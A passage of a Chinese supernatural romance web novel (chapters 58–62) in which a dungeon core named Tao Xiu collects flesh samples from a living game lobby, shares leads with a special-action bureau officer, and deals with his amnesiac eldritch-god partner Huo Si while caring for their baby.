张乐忙将手里的背包递给青年,道:“这、这是我在大厅捡到的!我知道最近住在希望酒店里的副本核心一直在进出玩家大厅狩猎这些!我觉得可能有用就偷偷包起来给你带来了!”虽然不知道那两个核心拿这些做什么,但毕竟陶岫也是【E】级副本核心啊,说不定会喜欢这些呢! 他要多在陶岫面前刷好感度,才能像林枚一样早点得救! 陶岫一怔:一筒一万收集的东西……应该是霍斯要他们收集的。 他思索一瞬,打开了包,接着瞳孔一缩:包里有十几个手指大小的透明玻璃瓶子,每一个瓶子里都装着……长着白色皮肤的黑色碎肉。 张乐:“最近大厅非常不稳定嘛,那两个核心最近一个月经常大摇大摆地进去搞破坏,然后带走几块屏幕或者挖走几块肉做成的墙壁……”而在玩家眼中几乎无所不能的主系统竟然对这种入侵束手无策。 他们玩家很早就知道那个银白的大厅不对劲,尤其是墙壁,完全是软的,摸不出什么质感,就像……它是活的一样。但他们一直不知道、或者不敢想那到底是什么。 直到那两个核心进去大肆破坏,不久前还从墙壁里挖出一颗人头带走,他们才知道……大厅真的是活的…… 那些黑色的洞每次都会有密密麻麻的虫子填上修补好,但最近已经越来越力不从心了,所以他才有机会从黑洞偷走一些碎肉来讨好陶岫。 陶岫看了半晌,才利落地收好,他先是对周河道:“你们没碰这些吧?” 周河一笑:“我们局没那么没人性也没那么傻。” 这些东西和那些手环不同,可是从最核心的玩家大厅带出来的,蒋周虽然严苛,但也不会拿手下的命去换取信息。 因为这些对他们基本无用,又是那位霍斯大人一直在收集的,他们才任由张乐把这些交给陶岫。就当是卖那位大人一个人情。 陶岫这才放下心来,他看向张乐:“我收下了,多谢。” 张乐这才彻底松了一口气,看到那些碎肉竟然真的被核心收下了,想到什么他眼珠子一转,小心翼翼对陶岫道:“那、那什么,现在大厅多,连主系统对我们的控制其实都放松不少。”比如主系统逼他们进副本的频率都变少了。 “我、我其实能说服不少玩家去偷这些碎肉的,都可以给大哥您带回来,您看您之后也能帮他们搞掉脑子里的东西吗?” 周河一听,挑了眉道:“你还挺讲义气?” 张乐倒是很坦率,他嘟囔道:“当然不是白帮他们,他们得给我牵线的中介费,我也不黑,每人收个三百块。我、我那时偷的钱不多也不少,离开游戏之后要坐几年牢的嘛,我总要为自己坐牢出来的日子想想啊,我帮那些玩家牵完线,他们给我点钱也是应该的啊 ,没有就打借条。这样我坐牢出来后至少有点钱过日子啊……” 周河说了句“你脑子还挺活”,接着看向陶岫,他若有所思道:“霍斯先生收集这些,是和那份协议有关系吗?” 陶岫耸耸肩,坦然道:“他没告诉我,但我想是的。”这应该就是霍斯解决【游戏】的麻烦用到的必须之物。 周河:“那你想答应他的交易吗?” 陶岫弯了眼眸笑了:“为什么不呢?”虽然不好说这些碎肉能帮到霍斯什么程度,但,能早点结束那些虫子对这个世界的伤害就是好事。 他要付出的代价只是透支下自己而已,非常划算。 周河感慨地轻拍了下陶岫的肩,才对张乐道:“你可以做这件事。后面我会负责带你把那些东西交给陶先生。” 张乐连忙点点头。 周河这才示意他现在离开这里到外面车上等,张乐很听话地起身离开了。 等到张乐走后,周河才对陶岫道:“我这次来,还想和你同步下成杨父子的信息。” 陶岫:“你说。” 周河:“我们先查了成运,他和【游戏】关系不大,但他公司问题很大,触犯法律,我们已经将他移交给有关部门了。” “至于成杨,我们对他做过身体检查,可以确认,他是人类,并不是玩家。他公司成立的过程非常违和,但确实查不出什么问题。关于【游戏】,我们审问他时,他自己的说法是从一个神秘人那里得知。他的产品一直在向那个神秘人提供数据,但我们也查不到那个神秘人的任何信息,成杨被捕后也再也联系不到他。” “从神秘人那里得知零星【游戏】相关信息后,他把一个因为七天时间到了死在外面的玩家尸体偷回了家,想要做人体实验得到力量,他本来已经打算向家里的阿姨保安下手了,所幸我们去的及时,他们都没事。” 一直在认真听着的陶岫闻言松了口气:“那就好。”没有更多普通人卷进去,真的太好了…… “不过,”说到这周河眉头微微皱起来,百思不得其解地道:“倒是成运的那个司机,有点奇怪。他学计算机的,本科研究所博士读的全是名校,大大小小的奖项和经历让人眼花缭乱,这样的人竟然会去给成运那种人当司机?” 陶岫立刻想到从霍斯那里得到的信息:虫子用并不完备的能力交换了成杨和那个司机的人生……那也是个很无辜不幸的人…… 只是,虫子和方子青当初用了【抹除】的能力抹除了方子青和那家生物医药公司的存在,就算他对周河他们说了这件事,说不定也无济于事:【抹除】之物的意思是不存在,在这个世界不存在,在人们的记忆里也不存在,人怎么可能记住这样一种事物呢? 但虫子的力量总是有缺陷,大概率会留下什么蛛丝马迹…… 想到这,陶岫看向周河,苍绿的眼眸坚定而澄澈:“你们可以去查【方子青】吗?” 周河一怔,疑惑地问道:“什么?” 陶岫:“你们或许该去查所有叫【方子青】的人。” 虽然和虫子狼狈为奸的方子青“不存在”,但这个世界上同名的人太多了,查得多了,总会发现消失的那个【方子青】因为虫子能力缺陷留下的线索。 周河思索一瞬,立刻起身:“我这就去向上司反馈信息。陶岫,多谢你。” 陶岫弯了眼眸:“不客气。我该做的。” 周河朝他笑笑,大步离开了植物园。 …… 陶岫把那个装了瓶子的背包小心地安置在办公室的保险柜里,净过手后才进了那间休息室改造成的婴儿房。 陶星星在小帐篷里吮着小小的手指,睡得很香,小八坐在帐篷外一边看着陶星星睡觉,一边翻一本绘本。 陶岫放轻动作在帐篷边坐下来,他温柔地看向小八,轻声道:“谢谢你哦,这两天一直麻烦你和竺了。” “等霍斯稍微闲下来,我会让他来帮忙。” 小八甜甜笑了:“我们很喜欢小陶哥哥和小星星。而且,”说着她看向帐篷里的婴儿:“小星星真的好乖呀。” 陶岫也随着女孩儿的视线看向裹着小毯子睡得香甜的陶星星,苍绿的眸子里满是柔软:“啊。”他的小朋友真的好可爱好乖呀…… 二楼的草莓苗插好后,剩下的时间他都可以用来陪小朋友…… …… 陶星星一觉醒来已经夕阳西下,朦朦胧胧睁开那双大眼睛时,他湛红的瞳仁里便映入了青年温柔的笑脸。 陶星星立刻甜甜的笑了,朝陶岫伸出两只短短的小胳膊。 陶岫立刻稳稳地把他抱起来,弯了眼眸道:“我们下班回家了哦~” 陶星星咿咿呀呀吐着泡泡:和妈咪一起肥家! 陶岫被逗得笑意更甚,他单肩背着那个书包,另一只手稳稳抱着陶星星,带着小八打车回到了家。 …… 温馨的家里,竺已经准备好了香喷喷的饭菜,甚至买了一束花插在桌上的花瓶里。 小八去帮竺端那些饭菜,陶岫便抱着陶星星去杂物间里的婴儿车,他打算先喂好陶星星再吃晚饭。 那间卧室静悄悄的,依旧浸在那种奇异的冷香里,陶岫把小婴儿轻轻放进婴儿车里,接着便开始冲奶粉。 陶星星朝他笑着,稚嫩轻盈的意识不断在他脑海里甜甜又依恋地叫着“妈咪”,陶岫温柔地安抚着对方:“我在。马上就可以吃饭饭啦。” 正在这时,这间卧室本来的门被人从外面打开,高大俊美的男人踏了进来,陶岫再自然不过地看向他:“回来了?我给你带了东西哦。” 男人却像之前几次一样停在门边,冰冷又傲慢地看过来,他的声音富有磁性而冷漠:“你是新来的男仆?有什么胆子私自进入我的房间?” 陶岫一怔,眨了下眼:又来? 可能因为次数有点多了,他现在对此已经无感。他从床头捞起一个魔方,熟练利落地丢过去,挑了眉道:“先冷静十分钟?” 霍斯震惊地看着手里的廉价玩意儿:“大胆,你竟敢——” 只是话音未落,他自己的手竟然就自动动了起来——就好像,他已经这么做了很多次! 该死的,这个男仆难道对他使用能力了吗? 但怎么可能!没有谁的能力会对他起效! 明明很生气,霍斯拼魔方时却下意识非常认真。 陶岫看着男人抽抽嘴角,干脆不再会他,他把陶星星抱起来喂冲好的奶粉。 陶星星吃得很香,一边分出视线看那个鱼唇的爸爸:爸爸、坏,不记得妈咪真的太过分了! 陶岫倒是不知道小婴儿的想法,他只是动作温柔地继续喂他吃东西。 …… 十分钟后,一只根骨分明的大手伸到他面前,宽阔的掌心里是一个已经拼好的魔方。 陶岫看着那个魔方,眨了眨眼。 下一瞬,男人低沉傲慢的声音在他头顶响了起来,他命令一般道:“现在,可以告诉我你是谁了么?” 陶岫抱着陶星星瞳孔一缩:“.…?” 第59章 沉默半晌,陶岫回过神来,他并未会男人手里的魔方,只是先将陶星星安置好,接着伸手贴上男人的额头,有些担忧地问道:“身体没事吧?有什么地方难受吗?” 是这次吞噬身体部位出什么问题了么? 霍斯瞳孔一缩:这个仆人竟敢碰他! 这个世界上没有人有资格直接触碰他! 他猩红的瞳仁冰冷又惊疑不定,他本该立刻把这个失礼的仆人的手狠狠拂下去。 可是,那只白皙柔软的手的触感如此清晰,他的身体就像被蛊惑了一般,根本无法动作。 尤其是对上那双苍绿色的眼睛时,他的心脏会不受控地“砰砰”过速跳动起来…… 直到最后,他也只能盯着那双眼睛用力握住了那个魔方,色厉内荏地憋出一句:“仆人,我命令你不许碰我。现在立刻离开我的房间。” 陶岫闻言一怔,回过神来他眯了眯眸子,利落地放下手,挑了眉道:“看来身体是没问题了。” 霍斯几乎不受控地接话:“我——” 陶岫却已经去翻床头柜自带的抽屉,他很快从里面找到一份合同,怼到了霍斯面前。 那是霍斯和特别行动局签下的合同。 陶岫指着合同最末尾的签字和手印:“认得出来吧,这是你签下的哦,即使你暂时不记得了,也要继续履行合约。” 说罢他“啪”地一声把合同拍在床上,接着放轻动作抱起陶星星,和霍斯擦肩而过,大步走向门外。 霍斯的心脏蓦然涌起一种慌乱的钝痛,他的手臂不自觉地抬起,就要覆上青年的肩头,陶岫却抽抽嘴角一把拍开,他转身凉凉看向惊疑不定的俊美男人,微微一笑:“既然不想我们在,那你就自己住吧。” 话落后,他便头也不回地离开了房间,毫不留情地甩上了门。 霍斯瞳孔一缩,整个人一动不动地僵在那里,他的大脑中一片激烈的混乱,几条深蓝的触手自他的脊椎处破出,痴迷地追着青年的气味向门的方向探去。 正在这时,门再次被打开,深蓝的触手动作一顿,就见陶岫利落地把一个背包丢了进来,美丽的苍绿眼睛瞪得像猫眼一样圆,他话里难得带着刺:“你履约需要的东西,伟大的邪神大人。不要忘了明天还有工作。” 说罢“啪”地一声,再次合上了门。 霍斯:“……”这个仆人如此没有礼貌,他明明应该惩罚他并辞退他,但…… 为什么他会觉得青年这样的时刻珍贵而……无比可爱…… 还有那个孩子……为什么他也感到无比亲切…… 心脏几乎全都被那个青年和那个孩子填满,霍斯头疼地捏了捏眉心,接着拿起刚刚被青年丢下的纸质合同——即使对此毫无兴趣,他也在不自觉地遵循青年的命令. 刚刚的背包被丢进来还未落地已经被一条触手使用力量转移到书房——霍斯从来不喜欢任何外来的存在进入自己的卧室。 霍斯不耐地审视着手里那份合同,视线注视那个签名和手印的一瞬,他便立刻知晓了这份合同的内容——他知道自己的身体此时有些混乱,还没消化完那些身体和身体部位携带的无比浩瀚的意识,但是,他无法想象到底出于什么由,他才会签下这样一份对他来说无比麻烦的合同。 要知道,他最讨厌的就是那些不能直接用力量的麻烦的修补工作,现在他竟然允诺了那些蚂蚁一份比修补更加麻烦的手动分离工作? 既然给出了允诺,他就会履行。即使,只是想象了一下工作内容他都想立刻撕掉这份讨厌的合同。 混乱前的他脑子被那些愚蠢的身体部位啃了? 他抽抽嘴角,把那些正悄咪咪试着离开他探往门的方向的愚蠢触手狠狠塞进身体,接着大步走向书房——不止身体,他连意识都在被青年束缚! 青年只是说了句“不要忘了明天还有工作”,他现在就得去书房做空间分离剂! 那个特别没有礼貌的仆人到底给他施了什么魔法?! …… 此时的客厅,陶岫和小八、竺一起吃完晚饭后便去洗漱。 洗漱完成后,他拿出了备用的褥子和被子,在客厅铺了厚实暄软的地铺,小八和竺互相看了一眼:“?” 霍斯大人又做错事了吗? 陶岫倒是没有提霍斯的事情,他只是穿着舒适的睡衣坐在床铺上,把陶星星抱在怀里,弯了眼眸看他们:“今天要来个地铺之夜吗?” 现在还是冬天,窗外温度已经降到了零下,黑暗的夜色里到处都是寒风呼啸的声音。 但屋子里开了地暖,明亮温馨又暖和,因为餐桌上摆了鲜花和水果,房间里到处弥漫着好闻的香气。 这样的氛围分外想和亲人朋友在一起,也分外让人眷恋。 陶岫想,可惜那三只狗狗都离开那间卧室不知去哪里玩了,不然它们也可以参与进来。 小八和竺闻言眼睛立刻亮了起来,他们立刻把犯错的上司甩到了九霄云外,异口同声地道了声“好!”后,便各自去主卧的柜子搬自己的床铺。 这个年龄的小婴儿需要充足的睡眠,陶星星其实已经有点困了,却还是眷恋地偎依在陶岫怀里朝他吐泡泡。 一道稚嫩的意识在陶岫脑海中绽开:“妈咪、生爸爸气了吗?没关系,星星会陪着妈咪~” 陶岫心里软软,他眨了下眼,温柔地看着怀里可爱的婴儿,道:“也算不上生气。”毕竟,霍斯自己也不想发生这种意外。 如果非要说生气的点的话应该在于:霍斯之前告诉过他,一次性吞掉大部分身体部位,才会出现更长时间的错乱和卡壳。霍斯明明知道这一点,为什么还要这么做让他担心呢? 但是……他也明白,有时候意外就是不可避免啊,也不能怪霍斯。 所以,他就一点都不生气啦。 只不过听到霍斯那些话时,还是有些不习惯,所以就决定今晚干脆在外面住。 陶岫轻轻点了下陶星星稚嫩的小鼻子,弯了眼眸温柔又坚定地道:“放心吧小星星,我们不会有事的。” 陶星星笑得甜甜的,“吧唧”一口亲在了青年脸上。 …… 这时,小八与竺已经风风火火抱着自己的被子出来了,他们分别把床铺铺在了陶岫两侧,接着舒舒服服躺了进去。 窗外依旧寒风呼啸,房间里更加暖和温馨,大灯很快关掉,只亮了两盏温馨的小夜灯。 陶星星偎依在陶岫的怀里,他有些兴奋地眨巴着大眼睛看着天花板上轻盈的光影,从棉被中伸出小小的手向着那些光影比划,就好像在经历冒险之夜。 陶岫知道他白天睡得多,现在又没那么晚,便随他去了。 小八也有些激动地道:“好像在露营呀。”只不过电视剧里大家露营时都在帐篷睡觉唉。 陶岫:“还没带你们去露营过,等春天来了,我们一起去这边的森林公园露营吧,晚上可以看星星哦。”顿了下,他笑着道:“或者也可以去另一个世界,说实话,我对那里还一点都不熟悉。” 小八:“好~” 竺:“老板,你和老大还好吧?” 陶岫:“让你们担心啦。没事的。”霍斯总会想起来。 竺这才放下心来:“那我明天给你们做我学来的新菜!啊以后等那些家伙都醒了,我不做管家可以去开家饭店,为他们提供人类世界的饭菜,一定能赚不少钱!” 陶岫笑了下:“不错的想法哦。” 小八本想问,小陶哥哥更想在哪边的世界生活呢,只是看到天花板的一瞬,她的眼睛蓦然亮了起来,惊喜地指着天花板的拐角处道:“你们看,那里有小鱼唉!” 陶岫一怔,向那里看去:只见那些轻盈的光影此时已经化作了一条条可爱的小鱼,它们仿佛有生命般,在天花板和墙壁上四处游移,从墙壁掉落下来时,便化作了光做成的六角形雪花,轻盈地消逝在半空中。 整个场景美丽得不可思议。 陶岫似有所觉地向怀里看去,果然看到陶星星可爱的小手正对着那些光比划…… 一道轻盈稚嫩的意识在三人的脑海中响起:“冬天哒礼物~” 小八和竺:“哇……” 陶岫哑然失笑,他抱紧陶星星,幸福地闭上了眼睛:“你好棒啊,小星星。” … 无数光影做成的雪花与小鱼中,他们缓缓闭上了眼睛,进入了令人安心的梦眠…… … 第二天,睡得很好的陶岫准时睁开了眼睛,他先是查看了下小婴儿:陶星星在他怀里睡得安心又香甜,连绵软的脸蛋都红扑扑的。 两边的小八和竺也还在睡梦中。 陶岫放轻动作小心翼翼地抽开自己的手半坐起来,正要把小朋友抱进婴儿车再先去洗漱,那间杂物间的门却在此时“咔嚓”一声打开。 馥郁奇异的冷香霎时间盈满了整个屋子。 高大俊美的男人气势十足地踏了出来,臂间挽着一件昂贵的西装。 他站在门前,不满地扫了眼小八和竺,接着傲慢地俯视着陶岫:“仆人,我不允许你和这些家伙混在一起。” 陶岫一脸莫名其妙:“.…哈?” 霍斯猩红的眼珠里满是连自己不清楚的占有欲,错乱状态下只用本能说话:“我昨天已经完成了工作,今天也会继续工作。所以你——” 陶岫干脆抱臂看向他,眸子里带着点温柔的调笑:“所以我什么?” 霍斯看了眼自己臂间的西装,智像被拽回来一点点,他盯着他,命令道:“所以你现在应该履行你的职责,为我穿衣。” 陶岫:“.…” 第60章 陶岫一脸无语,他动作轻柔地抱起陶星星,将他安置在霍斯身边的移动婴儿车里,接着他舒展了下身体,边往洗手间走边吐槽道:“成年人了,自己的衣服自己穿。” 霍斯不可置信地瞪大眼睛:这个仆人竟然敢—— 陶岫走到洗手间门口转过身:“对了,你看着点小星星哦,等我出来再去工作。” 霍斯冷声道:“你到底知不知道你的身份——” 话音未落,他瞳孔一缩:有什么柔软稚嫩的东西拉住了他的手指。他蓦地向下看去: 离开陶岫怀抱的小婴儿已经睁开了惺忪的睡眼看向霍斯,他伸出小手牵住了男人的食指。 一道轻盈稚嫩的意识在霍斯的脑海中绽开:“不要、惹妈咪生气,不然、星星就不喜欢你了。” 霍斯身体一僵,他看着那个可爱柔软的婴儿,微微皱了眉,问道:“你是他的孩子?” 陶星星歪了头,乖巧地眨巴着大眼睛,咿咿呀呀吐出一个泡泡:是吖,他当然是妈咪的孩子~ 霍斯觉得自己应该生气:只属于他的仆人怎么可以有别人的孩子。 但是不知为何,他根本无法讨厌眼前的婴儿,甚至…….对这个孩子产生了不可自控的保护欲…… 这到底怎么回事? 婴儿车里的陶星星这时已经朝霍斯伸出了两只小短胳膊要抱抱。 霍斯最讨厌肢体接触和柔软脆弱的事物,他现在明明应该打个响指把这个麻烦又脆弱的婴儿变到自己看不到的地方,但是,他却不受控地俯身,将陶星星稳稳抱进了怀里。 反应过来自己做了什么,俊美的男人冷着脸,和怀里的孩子大眼瞪小眼,被陶岫把孩子天性保护得非常好的陶星星有恃无恐地朝霍斯的脸伸出了白嫩的小手。 半晌,霍斯忍无可忍地命令:“把你的爪子拿下去。” 陶星星从来没被这么凶过,他可爱的小脸儿就要失落地垮下去—— 霍斯抽抽嘴角,吐出句:“继续捏,也不是不行。” 陶星星脸上的失落一扫而空,红眼睛重新亮起来,继续和有趣的失忆爸爸互动着,得寸进尺地去抓霍斯的头发。 霍斯:“.…” 悄悄醒来看了全程的竺和小八在这种修罗场里继续装睡。 …… 陶岫很快洗漱好出来,看到霍斯时噗嗤笑出了声:高大俊美的男人此时怀里抱着一个可爱的婴儿,看起来还挺搭。 只是男人的黑发被陶星星用玩偶的绑带扎了个小揪揪,那条绑带甚至还打了个蝴蝶结。 霍斯脸黑得彻底,却还是站在原地抱着陶星星任由对方动作。 一看到陶岫出来,陶星星便立刻放下了“玩具”,朝陶岫无比依恋地伸出胳膊,想让他抱。 陶岫因着眼前一幕眉眼里满是笑意,他看了一会儿,才上前几步把陶星星接了过来,边道:“你去工作吧,我们等下打车去上班。” 他已经把考驾照和买车提上日程,有了小朋友之后,还是有辆车比较方便。 霍斯只是专注地注视着青年和他怀里的孩子,半晌,他眉目间氤氲出一缕冷意,问道:“让你有孩子又抛弃你们的那个混蛋男人,是谁?” 因为被抛弃了,才来做他的仆人么? 既然做了他的仆人,那么他也可以帮他养孩子,而且他至少可以帮他们把那个混蛋男人给杀—— 立刻想象到对方在脑补什么的陶岫:“噗嗤” 他抱着陶星星,一脸好笑地看着霍斯,道:“对啊,那个混蛋男人是谁呢?” “不过其实他也不算太混蛋。”陶岫苍绿的眼珠直视着霍斯冰冷可怖的猩红瞳仁,认真又轻描淡写道:“我很爱他。” 霍斯瞳孔猛然微缩,心脏不受控地剧烈跳动起来。 陶岫却只扫了眼已经醒了却不得不装睡的竺和小八,有点无奈地对霍斯道:“拜托你快去工作吧。”不走的话,小八和竺根本不敢起床。 他们今天还有各自的工作要做的! 霍斯抿着唇看着这个执迷不悟地爱着渣男的漂亮青年半晌,才生气地拎着昂贵的西装外套大步离去——甚至连瞬移都忘记使 用。 陶岫看着男人的身影无奈地抽抽嘴角:真想知道霍斯恢复记忆后想起这一段的表情。 60-67 第61章 霍斯离开后,陶岫很快打好自己,带着小八和陶星星去上班。 他照常把陶星星和小八安置在婴儿房,接着便去忙日常工作。 下午,他在二楼看到了坐在二楼角落休息椅上的林枚。林枚的身边坐着一个面色红润满脸皱纹的老奶奶,林枚正将一瓶打开的水递给她。 看到老奶奶的一瞬,陶岫怔了下,接着他走了过去,在林枚身边坐下。 他再次隐晦地观察了下那位老人,才看向林枚,温和地道:“这就是你母亲吗?” 林枚愣了下,才道:“对,是我妈妈。”顿了下,他有些腼腆地笑了下:“特别行动局那边说,我可以在一定范围内自由行动,所以,我想把她接到A市带她检查下身体,顺便逛逛。” 陶岫帮他摆脱了虫子的控制,他得到了一段让他手足无措又茫然的自由时光,未来好像也变得不确定起来,却隐隐闪耀着光点。 于是他终于鼓起勇气去老家见了妈妈,那枚手环曾经和他融为一体过,他注定无法像普通人一样组成家庭正常生活,但是,在母亲还在的时候,他至少可以像个正常的子女一样陪伴她。 医院的检查结果依旧令人失望,显示是某种癌症的晚期,按说无法治愈,但是,因为他和系统的交换,从外表看,他妈妈现在身体和面色都很好,不必遭受病痛和化疗的折磨,她可以正常进食,还能像个正常人一样生活。 只不过,她有了一些阿兹海默症的倾向,偶尔会记忆错乱。但也没关系,之后他会一直在她身边。 老人这时喝完了半瓶水,她迟钝地把瓶子重新拧好,和蔼地看向陶岫,空洞的眼神里浮出点光来,她道:“孩子,你是小枚的同学吗?离开老家到外地上学,一定很想父母吧?” 陶岫瞳孔一缩,林枚温柔地揽着老人,有点不好意思地对陶岫道:“我妈她大部分时候清醒,但偶尔会认为我刚刚读大学,父亲去出差了。” 坐牢之前,他把那笔钱分成了两份,一份留给了母亲,一份留给了信得过的亲戚,这些年一直是在亲戚照应母亲,所幸他们人很靠得住,将母亲照顾得很好。 陶岫吞下了本想说出口的话,他弯了眼眸,温柔地道:“对,我就是林枚的同学。虽然我父母不在身边,但是看到您过来来看林枚我也很开心。祝阿姨在A市逛得开心。” 老人笑着“哎”了一声,面上便再次浮出某种游离发呆的神情。 陶岫看向林枚,轻声道:“你决定好要来这边工作了吗?” 林枚一怔,郑重地点了点头。 陶岫:“那么,我会尽快拟定好合同,再给你预支半年工资。你可以在附近租好房子,把你母亲接到身边照顾。随时欢迎你来入职。” 林枚垂眸笑了下,眼眶便有些泛红,他看向陶岫,道:“我知道了。多谢。” 陶岫拍拍他的肩:“我先去忙别的,你们随便参观,有什么事情可以随时来找我。” 说罢便起身离开了。 …… 一直回到办公室,陶岫才轻轻叹了口气,他靠在椅背上,看着窗外冬季的天空难得怔怔地发呆: 林枚的妈妈已经不算一个活着的人了,却也不算一个死去的人。 他之前就知道,虫子的力量是有缺陷的,之前周河带着林枚来家里找他,林枚说起母亲的事情,他就有些担心。 今天见到那位女士,这种担心终于变成了现实:虫子的能力并未真正治愈那位女士的疾病,它只是让她长期保持在濒临死亡前的回光返照状态,所以她现在的身体机能保持了正常。但是,他不知道虫子的力量能让老人这种状态保持多久…… 他不想对林枚说这件事,因为对林枚来说,付出那么多代价几乎搭上整个人生得到的是这样的结果也太过残忍。而且对那位老人来说,这确实算是一种没有任何痛苦的活下来的方式,在虫子的力量失效前,她和林枚还可以团聚很多年。 陶岫仰躺在椅背上,闭着眼轻轻捏了捏眉心:可是林枚那样信任他,他却隐瞒这些,真的不是一种自以为是的傲慢吗? 正在这时,一双冰凉的手覆上了他的眼睛,奇异馥郁的冷香瞬间盈满了整方空间,接着一道冰冷低沉的声音高高在上地响了起来:“你是我的仆人,只能为了我的事情烦恼。不可以想别人。” 陶岫一怔,蓦然睁开了眼睛。 青年纤长浓密的眼睫蹭到了男人的掌心,痒痒的,有种莫名的蛊惑感,霍斯猩红的眼眸一深。 陶岫并未将对方的手推开,只是无奈地道:“你早上不是还在生我气吗?为什么会突然过来?” “话说你今天的工作已经忙完了?” 霍斯不满地“嗯”了声:这个小仆人真的胆子很大,工作工作,他只关心工作,要么就关心那些无关紧要的人类——要知道,他才是他的主人,难道这个小仆人不该只关心他、只崇拜他、心里眼里只有他吗?! 霍斯覆着青年眉眼的手一紧,他冷冷道:“说你知道错了,你不会再爱那个让你有了孩子的男人,你和那个孩子也不会离开我。”不然他整个身体、整颗心脏都变得不对劲,他一点都不喜欢这种一想到这个仆人就无法掌控自己的感觉。 霍斯:“作为交换,我会为你解决你刚刚在担心的问题。” 陶岫在男人占有欲十足的掌心中眨了下眼,再次蹭痒了对方的皮肤:“你怎么解决?” 霍斯眸色更深,他道:“我会保证在那个人类的身体机能彻底无法运转之前,让她稳定地保持现在的状态。这大概能持续十几年,之后,她会毫无痛苦地走向死亡。” 陶岫露在外面巴掌不到的下半张脸上浮出个浅笑,他伸手准确地抓住男人的衣领、用力将对方扯得俯下了身,接着他吻在男人微凉的唇上,道:“成交。” 他的声音里带了点狡猾的调笑:“不可以爱那个男人的话,爱你,可以么?” 霍斯身体猛地僵在原地,蓦然睁大了眼睛。他的心脏不受控地过速跳跃起来,仿佛下一秒就要钻出胸腔、自动地落入青年的掌中,无数身体部位正在争先恐后地想要钻出脊椎…… 连空间都扭曲了一瞬。 陶岫却在这时轻轻拍了下男人俊美冰冷的脸颊,道:“你不反对的话,就是同意了?乖,该你去履约了。” 说罢,他放开了扯着霍斯领带的手,唇边依旧是因着笑意而形成的涡旋。 …… 不知过了多久,霍斯终于僵硬地放开了覆着陶岫眉眼的手。 陶岫白皙的眉眼周围因着霍斯刚刚的动作淤出些暧昧的指|痕,苍绿的眼睛却澄澈又明亮,他静静看着男人那张难得显现出震撼与兵荒马乱的脸,没有说话。 霍斯已经不再试图控制自己的心跳,他深深看了眼青年,接着大步离开了这间办公室,向林枚的方向走去。 看着男人的背影,陶岫总算忍不住轻快地笑出声:如果霍斯以后工作都像今天这样半天就解决了,那么,剩下的时间他可以过来植物园陪陶星星么? 还有就是,真不知他这次的失忆的具体成因到底是什么,到底会持续多久。 想到这里,陶岫心里一动:或许,有时间他应该去那间卧室之外的地方看看那里或许藏着答案。 …… 过了不一会儿,霍斯便回到了这里。 他伸手抬起青年的下颌,眸色深沉地注视着对方美丽的脸,声音低沉沙哑:“我做好了。那么,不管是你,还是那个孩子,以后只能属于我。” 陶岫轻笑一声,正要说什么,又有人敲响了玻璃窗:是昨天才来过的周河和张乐。 霍斯的红眸里猛然浮出某种占有欲和杀意,骇得周河和张乐后退了几步,陶岫抽抽嘴角,起身将霍斯推进了婴儿室。 婴儿室里,陶星星在那个小帐篷里睡得正香,小八坐在旁边安静地看着绘本。 陶岫神色蓦然柔软起来,他看着霍斯轻声道:“你来了就陪陪陶星星吧,我忙完就进去看你们。” 在霍斯那种“你竟敢命令我”和“我竟然就任他动作了”的恍惚与震惊中,陶岫轻轻合上了门。 接着他走了出去,来到了周河和张乐面前,他扫了眼张乐背着的鼓鼓囊囊的背包,挑了眉道:“你效率也太高了。”竟然这么快就能说服其他玩家弄到这么多虫子碎肉。 张乐因为刚刚霍斯的一瞥,依旧惊魂未定地躲在周河身后,不敢答话。 周河也因为霍斯刚刚的注视脸色有些发白,精神倒是还好,他看着陶岫,道:“那些东西,真的有用吗?” 陶岫点了点头,接着看向张乐,认认真真道:“事情结束后,我会遵守承诺,帮你们摆脱手环的控制。” 周河回想起陶岫帮助林枚后泛白的脸颊,到底忍不住问道:“做这些,你真的没关系吗?” 他其实还想问,那位霍斯先生知道吗?他会允许你做这样几乎算得上勉强自己身体的事情吗? 陶岫弯了眼眸,道:“放心,没事的。说实话,能做这些,我很开心。”无论是帮霍斯的忙,还是为这个世界做点什么,他都从心底里感到满足和开心。 至于霍斯……. 陶岫苍绿的眼眸蓦然柔软起来,他看向婴儿室的方向,声音温柔得不可思议:“霍斯知道这一点的,所以他不会阻止我。” 无论那个男人有没有失忆,他都会懂他。 第62章 张乐这次给陶岫带来了更多装了虫子碎肉的瓶子:“B3副本是个【时间容量】本,本来按照系统要求,我要等到副本时间结束才能回大厅的,但是,希望酒店那两个副本核心帮了我,祂们回大厅‘挖墙脚’时很大方地带上了我,所以我才能说服这么多同伴。” 那是他第二次看到化成人形的核心(第一次是陶岫),那两个人有着奇异的眸色和发色,脸上却苦兮兮的,简直像人类世界随处可见的社畜。得知他可以找人帮忙收集那些,那对兄妹简直喜出望外。 只是祂们也特别叮嘱,只能收集已经成长成熟的部分——就是肉质已经彻底变成没有任何异色的漆黑的部分,才能用。 虽然不明白陶岫和祂们到底要这些东西做什么,但收集到就能脱离那个暗无天日的异常地狱,真的再划算不过。所以他说服别的玩家基本没费什么力气,就连那些想继续待在那里的野心家,都因为大厅的不断坍塌萌生了逃离的想法。 陶岫并未在意张乐在想什么,他只是接过那个沉甸甸的书包,客套地道了声谢。 这件事完成,周河便让张乐先回车上了,接着他对陶岫道:“还有就是,关于成运那个叫吴言的司机,他现在已经离开特别行动局了,他不好打扰你,要我替他向你道谢。” 陶岫一怔:“只是举手之劳罢了。他身体没被影响吧?” 周河摇摇头:“他身体还好,只不过……”这样说着,他的面上浮出点百思不得其解的疑惑:“他的孩子是自闭症儿童,需要上特殊学校,还需要长期大量地投入金钱和精力,他现在很需要钱,而他的学历明明可以轻轻松松找收入更高的工作,却还是回到了成家当司机。成家的公司现在都被查封了啊,家里也没啥人了,吴言也回那个空别墅守着。” “问他为什么,他也不说,只是苦笑着摇了摇头。” 陶岫瞳孔一缩:虫子交换了成杨和吴言的人生,吴言现在这样,是虫子能力的影响吗…… 想到这里,陶岫道:“他或许是有苦衷的。” 周河轻叹了口气:“人有好路不走非走绝路指定有苦衷,我就是不懂,他苦衷到底是什么,才能放着自己孩子不管非要去做那种人的司机。” 陶岫张了张口,却不知该怎么说。 周河感慨完,说起今天过来的第三件事:“最后要和你共享的信息是,你昨天不是让我们查【方子青】吗?全国有太多人叫这个名字了,我们暂时没筛查出什么有用信息,不过,我们倒是查到一起25年前发生的大型失踪案。” 说着他面上浮出些许不解:“这件失踪案是和那场3级地震同一年发生的,按说应该引起重视的,但蒋局也好我们的高层也好,竟然几乎没关注过这事……” 